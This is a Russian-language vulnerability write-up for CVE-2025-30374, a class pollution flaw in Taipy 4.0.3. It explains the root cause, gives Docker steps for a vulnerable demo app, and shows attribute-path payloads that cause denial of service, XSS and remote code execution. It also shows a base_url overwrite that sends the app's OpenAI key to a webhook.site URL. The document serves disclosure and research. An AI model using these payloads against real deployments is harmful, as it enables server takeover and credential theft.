
PoC-эксплойты для CVE-2025-30374, ошибки загрязнения класса в Taipy, демонстрирующие RCE, отражённый XSS, DoS и утечку учётных данных OpenAI, с Docker-скриптами для воспроизведения.
В Taipy v4.0.3 (последней версии на момент обнаружения) выявлена уязвимость class pollution. Эта уязвимость позволяет неавторизованным злоумышленникам перезаписывать серверный рантайм-контекст Taipy, что приводит к серьёзным последствиям: RCE, отражённому XSS, отказу в обслуживании (DoS) и утечке чувствительных учётных данных авторизации (например, токенов OpenAI).
Предпосылки
Class pollution (аналог prototype pollution в JavaScript) — относительно новая уязвимость в Python. Она возникает, когда злоумышленник может неожиданно перезаписать глобальные переменные модуля или атрибуты некоторых классов и функций во время выполнения. Эта проблема классифицируется как CWE-915.
Дополнительную информацию о class pollution см.:
[1] Class Pollution Wiki
[2] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Обнаруженная в Taipy уязвимость class pollution
Корень этой уязвимости кроется в использовании Taipy рекурсивной функции присваивания для обновления значений переменных в состояниях Taipy. Параметры и формируются из входных данных клиента и не проходят должной проверки. Это позволяет злоумышленнику внедрять вредоносные пути атрибутов, например , чтобы перезаписать метод класса .
namevalue_TpN_tpec_TpExPr_value_TPMDL_2.__class__.__base__.setset_TaipyBaseСледующие функции вызываются в нескольких маршрутах через _manage_message для обновления состояний со стороны клиента:
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L37-L42
def _setscopeattr_drill(gui: "Gui", name: str, value: t.Any):
if gui._is_broadcasting():
for scope in gui._get_all_data_scopes().values():
_attrsetter(scope, name, value)
else:
_attrsetter(gui._get_data_scope(), name, value)
# https://github.com/Avaiga/taipy/blob/5c56f125a2bab02a260eee88503ee480ac933f7e/taipy/gui/utils/_attributes.py#L53-L58
def _attrsetter(obj: object, attr_str: str, value: object) -> None:
var_name_split = attr_str.split(sep=".")
for i in range(len(var_name_split) - 1):
sub_name = var_name_split[i]
obj = getattr(obj, sub_name)
setattr(obj, var_name_split[-1], value)
Подготовка
Все приведённые ниже PoC нацелены на демонстрационное чат-приложение, включённое в этот репозиторий (см. app/), которое основано на официальном демо Taipy LLM Chat (https://github.com/Avaiga/demo-llm-chat) и фиксирует Taipy 4.0.3 (версию на момент обнаружения). Соберите и запустите его с помощью Docker:
docker build -t taipy-cve-30374 app/
docker run -d -p 5003:5000 taipy-cve-30374 # served at http://127.0.0.1:5003
Для PoC DoS, XSS и RCE действительный ключ OpenAI не нужен. Для PoC с утечкой токена запустите приложение с настоящим ключом, чтобы перехваченный запрос содержал его:
docker run -d -p 5003:5000 -e OPENAI_API_KEY=sk-... taipy-cve-30374
Затем запустите соответствующий скрипт из корня репозитория (например, python poc-dos.py). Сначала установите клиентские зависимости: pip install "python-socketio[client]" requests.
Последствие 1: DoS
Полный эксплойт доступен здесь: poc-dos.py
poc-dos.py перезаписывает метод set общего класса _TaipyBase невызываемым целым числом, используя в качестве точки входа связанную переменную-держатель:
_TpD_tpec_TpExPr_conversation_TPMDL_2.__class__.__base__.set = 71
Поскольку каждый держатель значения Taipy (_TaipyData, _TaipyLov, _TaipyLovValue, ...) наследуется от _TaipyBase, сервер затем выбрасывает TypeError: 'int' object is not callable при (повторном) вычислении любой связанной переменной. Это затрагивает все сессии, а не только сессию атакующего, и продолжается до перезапуска приложения.
Последствие 2: Утечка токена OpenAI
Полный эксплойт доступен здесь: poc-token-exfil.py
Демонстрационное приложение хранит openai.Client в глобальной переменной модуля (client), которая связывается с состоянием Taipy и используется как state.client.chat.completions.create(...). poc-token-exfil.py загрязняет client.base_url, подставляя URL, контролируемый атакующим:
client.base_url = https://webhook.site/<your-uuid>
Каждый последующий чат-запрос, содержащий заголовок Authorization: Bearer <OPENAI_API_KEY> и всю переписку, затем перенаправляется на сервер атакующего, что приводит к утечке токена OpenAI.
Последствие 3: XSS

В следующей функции, когда приложение пытается отобразить пользовательский контент и не находит подходящий рендерер, оно возвращает type(content).__name__ в качестве HTML-ответа:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L544
return (
'<div style="background:white;color:red;">'
+ (f"No valid provider for type {type(content).__name__}" if content else "Wrong context.")
+ "</div>"
)
Однако атрибут __name__ объекта класса можно установить через class pollution, например, tp_TpExPr_gui_get_adapted_lov_past_conversations_NoneType_TPMDL_2_0.__class__.__name__. Злоумышленник может перезаписать этот атрибут вредоносной HTML- или JavaScript-нагрузкой.
Полный эксплойт доступен здесь: poc-xss-no-dot.py (работает против v4.0.3) и poc-xss.py (вариант с точечной записью "U", Taipy ≤ 4.0.2).
Последствие 4: RCE

Далее мы покажем, как можно привести к RCE-атаке.
Уязвимость class pollution позволяет злоумышленникам задавать произвольные атрибуты объектам, присутствующим в состоянии сессии, которое по умолчанию не содержит много чувствительных объектов. Однако мы обнаружили, что маршрут Gui.on_action можно использовать для вызова обработчика Gui.table_on_edit, что приводит к связыванию новых объектов из модуля __main__ с состоянием сессии. В следующей строке вызов getattr для объекта состояния автоматически запускает операцию связывания, а последующий setattr немедленно сбрасывает связанное значение в None:
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L1872
setattr(state, var_name, self._get_accessor().on_edit(getattr(state, var_name), payload))
Такое поведение создаёт короткое «окно гонки», в течение которого ссылки на объекты, например на класс Gui, временно существуют в состоянии сессии. В этом окне злоумышленники могут использовать class pollution для перезаписи атрибутов этих объектов.
Кроме того, мы обнаружили, что атрибут Gui.__SELF_VAR используется в качестве префикса при построении выражений, передаваемых встроенной функции Python eval():
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L146
# https://github.com/Avaiga/taipy/blob/439c7f52253fc09dd41c455a8a9f8da962d49dfa/taipy/gui/gui.py#L3011
__SELF_VAR = "__gui"
# ...
glob_ctx[Gui.__SELF_VAR] = self
Перезаписав значение __SELF_VAR через class pollution, злоумышленник может управлять вычисляемым выражением, что в итоге приводит к произвольному выполнению кода на сервере.
Полный эксплойт доступен здесь: poc-rce-no-dot.py (работает против v4.0.3) и poc-rce.py (вариант с точечной записью "U", Taipy ≤ 4.0.2). Оба эксплойта связывают объект Gui с состоянием сессии через маршрут on_action, вызывающий table_on_edit, а затем «гоняются» с записью class pollution, поэтому для попадания в окно может потребоваться несколько попыток.
Любой пользователь Taipy может использовать эту уязвимость для проведения RCE, отражённого XSS, отказа в обслуживании (DoS) и утечки чувствительных учётных данных авторизации (например, токенов OpenAI).